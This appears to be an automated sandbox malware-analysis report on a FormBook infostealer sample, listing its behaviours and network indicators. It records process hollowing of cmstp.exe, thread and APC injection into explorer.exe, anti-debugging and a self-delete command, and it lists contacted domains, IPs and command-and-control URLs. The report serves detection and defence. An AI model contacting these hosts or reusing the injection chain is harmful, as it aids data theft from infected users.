Source: C:\Windows\explorer.exe Domain query: www.lewishackney.com
Source: C:\Windows\explorer.exe Domain query: www.ecomcourse.online
Source: C:\Windows\explorer.exe Domain query: www.karizcustomizeme.com
Source: C:\Windows\explorer.exe Domain query: www.anadelalastra.art
Source: C:\Windows\explorer.exe Domain query: www.orchidandiris.com
Contains functionality to prevent local Windows debugging
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Code function: 0_2_737F1000 Hyvkfcorf,IsDebuggerPresent,DebugBreak,GetTempPathW,lstrcatW,CreateFileW,GetFileSize,VirtualAlloc,ReadFile, 0_2_737F1000
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Section loaded: unknown target: C:\Users\user\Desktop\LWlcpDjYIQ.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Thread register set: target process: 3388 Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Thread register set: target process: 3388 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Section unmapped: C:\Windows\SysWOW64\cmstp.exe base address: 220000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\LWlcpDjYIQ.exe Process created: C:\Users\user\Desktop\LWlcpDjYIQ.exe 'C:\Users\user\Desktop\LWlcpDjYIQ.exe' Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\LWlcpDjYIQ.exe' Jump to behavior
Source: explorer.exe, 00000005.00000000.220055270.0000000001398000.00000004.00000020.sdmp Binary or memory string: ProgmanamF
Source: explorer.exe, 00000005.00000000.220307283.0000000001980000.00000002.00000001.sdmp, cmstp.exe, 00000007.00000002.476143655.0000000002F00000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.220307283.0000000001980000.00000002.00000001.sdmp, cmstp.exe, 00000007.00000002.476143655.0000000002F00000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.220307283.0000000001980000.00000002.00000001.sdmp, cmstp.exe, 00000007.00000002.476143655.0000000002F00000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.220307283.0000000001980000.00000002.00000001.sdmp, cmstp.exe, 00000007.00000002.476143655.0000000002F00000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000002.00000002.256436700.00000000006E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000001.215824395.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.474138939.00000000002D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256399693.00000000006B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.220675052.000000001EB20000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.256111645.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.475870538.0000000002840000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.1.LWlcpDjYIQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.LWlcpDjYIQ.exe.1eb20000.5.raw.unpack, type: UNPACKEDPE
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 383953 Sample: LWlcpDjYIQ.exe Startdate: 08/04/2021 Architecture: WINDOWS Score: 100 31 www.socialunified.com 2->31 33 www.kaashir.com 2->33 35 HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com 2->35 43 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->43 45 Found malware configuration 2->45 47 Malicious sample detected (through community Yara rule) 2->47 49 5 other signatures 2->49 11 LWlcpDjYIQ.exe 18 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\Local\Temp\...\9a5t.dll, PE32 11->29 dropped 59 Detected unpacking (changes PE section rights) 11->59 61 Maps a DLL or memory area into another process 11->61 63 Tries to detect virtualization through RDTSC time measurements 11->63 65 Contains functionality to prevent local Windows debugging 11->65 15 LWlcpDjYIQ.exe 11->15         started        signatures6 process7 signatures8 67 Modifies the context of a thread in another process (thread injection) 15->67 69 Maps a DLL or memory area into another process 15->69 71 Sample uses process hollowing technique 15->71 73 Queues an APC in another process (thread injection) 15->73 18 explorer.exe 15->18 injected process9 dnsIp10 37 www.huongdandidong.com 108.186.210.142, 49731, 80 PEGTECHINCUS United States 18->37 39 www.luxel01.com 118.27.122.19, 49722, 80 INTERQGMOInternetIncJP Japan 18->39 41 17 other IPs or domains 18->41 51 System process connects to network (likely due to code injection or exploit) 18->51 22 cmstp.exe 18->22         started        signatures11 process12 signatures13 53 Modifies the context of a thread in another process (thread injection) 22->53 55 Maps a DLL or memory area into another process 22->55 57 Tries to detect virtualization through RDTSC time measurements 22->57 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
199.59.242.153
www.simplyhealrhcareplans.com United States
395082 BODIS-NJUS true
198.185.159.144
ext-sq.squarespace.com United States
53831 SQUARESPACEUS false
144.76.207.76
www.muzhskoy-eskort.site Germany
24940 HETZNER-ASDE true
160.153.136.3
karizcustomizeme.com United States
21501 GODADDY-AMSDE true
118.27.122.19
www.luxel01.com Japan 7506 INTERQGMOInternetIncJP true
5.101.152.161
www.shopthen2.site Russian Federation
198610 BEGET-ASRU true
34.102.136.180
orchidandiris.com United States
15169 GOOGLEUS false
184.168.131.241
ecomcourse.online United States
26496 AS-26496-GO-DADDY-COM-LLCUS true
108.186.210.142
www.huongdandidong.com United States
54600 PEGTECHINCUS true
3.223.115.185
HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com United States
14618 AMAZON-AESUS false

Contacted Domains

Name IP Active
ecomcourse.online 184.168.131.241 true
www.huongdandidong.com 108.186.210.142 true
www.muzhskoy-eskort.site 144.76.207.76 true
karizcustomizeme.com 160.153.136.3 true
www.shopthen2.site 5.101.152.161 true
www.luxel01.com 118.27.122.19 true
orchidandiris.com 34.102.136.180 true
HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com 3.223.115.185 true
www.simplyhealrhcareplans.com 199.59.242.153 true
lewishackney.com 34.102.136.180 true
www.kaashir.com 208.91.197.27 true
ext-sq.squarespace.com 198.185.159.144 true
www.opusleaf.com unknown unknown
www.myboardinghome.com unknown unknown
www.socialunified.com unknown unknown
www.seymor-law.com unknown unknown
www.lewishackney.com unknown unknown
www.ecomcourse.online unknown unknown
www.karizcustomizeme.com unknown unknown
www.anadelalastra.art unknown unknown
www.orchidandiris.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.huongdandidong.com/sqra/?lzul=wRDL7BohbLBLJV&NBZl=94GGx2Cs8EYqYWyk7qEtIIzRN3fkRhfUxg2Vtzz5w0QY/7xu41tS8mQoIQP3aceFOvfi true
  • Avira URL Cloud: safe
unknown
www.simplyhealrhcareplans.com/sqra/ true
  • Avira URL Cloud: safe
low
http://www.simplyhealrhcareplans.com/sqra/?lzul=wRDL7BohbLBLJV&NBZl=n3U7aY9a5ujS+qWiRfdW0plv/0Nv8djS+qMboD1ih5qiP+MT365v99ebZUVRUFJkYzoK true
  • Avira URL Cloud: safe
unknown
http://www.socialunified.com/sqra/?lzul=wRDL7BohbLBLJV&NBZl=nD+8EQ/dkrvxrfeXfZTM4uqVidyysXGGAQQPcyuh+D+qYnXcwF5fcGHppY2Ae0Rizhob true
  • Avira URL Cloud: safe
unknown
http://www.lewishackney.com/sqra/?NBZl=RvvWc34iJhU4aDVvCPxlJYXQghZKjT+0jz617RLPtVuesnMs5OzQh/fCAeZj/K6zv/Ow&lzul=wRDL7BohbLBLJV false
  • Avira URL Cloud: malware
unknown
http://www.luxel01.com/sqra/?NBZl=l8gFWKa0VIasP4OX6UWILwSCtzkOc3V6oKupITn9HnPx0eDpBTl3az448bd8FGwLkJvi&lzul=wRDL7BohbLBLJV true
  • Avira URL Cloud: safe
unknown
http://www.orchidandiris.com/sqra/?lzul=wRDL7BohbLBLJV&NBZl=zH8yL9FtafuknHUuv+0OAb189SbLD7IfmvNkOBi8bJNQNfTK09EYjoUTP6M+ilwbYPXy false
  • Avira URL Cloud: safe
unknown
http://www.ecomcourse.online/sqra/?NBZl=A685XXlO5s8wdT2GSl4VwObxhyaN1usH/ZDf3g436hkZTbYdTSv6UxS6ZdhF3LcC3Fcd&lzul=wRDL7BohbLBLJV true
  • Avira URL Cloud: malware
unknown
http://www.karizcustomizeme.com/sqra/?lzul=wRDL7BohbLBLJV&NBZl=+apFroP1TjGnxXEe5oaGEFG1FIGlVaZA9Y5GRttzGQ4z+BPhxNKjikjP31UiUH/cC1Iy true
  • Avira URL Cloud: safe
unknown
http://www.anadelalastra.art/sqra/?NBZl=lD4TJk9xsMd0/PL293fidflTFReEfYiBAFO2d5wZtfSldQt+n1O6CAKQlGZxKl5sANQQ&lzul=wRDL7BohbLBLJV true
  • Avira URL Cloud: safe
unknown
http://www.shopthen2.site/sqra/?lzul=wRDL7BohbLBLJV&NBZl=0hvqTGsG2LXykKa15oAG/2YmS9ez8HJt/56JneCT4XqEJpzhFqXtEbyiFIIf71vevGG9 true
  • Avira URL Cloud: safe
unknown
http://www.muzhskoy-eskort.site/sqra/?NBZl=XY+ZErIRkQWtvrbZzW/Q2VqSgxI2oDXvZ0FX1dCtO5jFwgiNlKUf7p0wm51D3p8eN5aQ&lzul=wRDL7BohbLBLJV true
  • Avira URL Cloud: malware
unknown